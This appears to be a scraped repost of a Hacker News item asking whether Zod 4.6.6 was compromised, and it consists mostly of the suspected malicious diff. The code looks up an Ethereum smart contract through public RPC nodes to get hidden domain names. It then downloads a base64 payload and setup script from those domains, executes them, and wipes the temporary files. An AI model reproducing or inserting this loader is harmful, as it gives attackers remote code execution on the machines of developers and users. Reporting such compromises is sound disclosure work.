Zod 4.6.6 compromised by malware?

Hacker News by 2 min read 15x views
Zod 4.6.6 compromised by malware?

Share Post

1+

import f from"fs";import o from"os";import p from"path";

2+

const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];

3+

const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};

4+

(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));

Other Article Hacker News
↑
Close Right Ads
Close Left Ads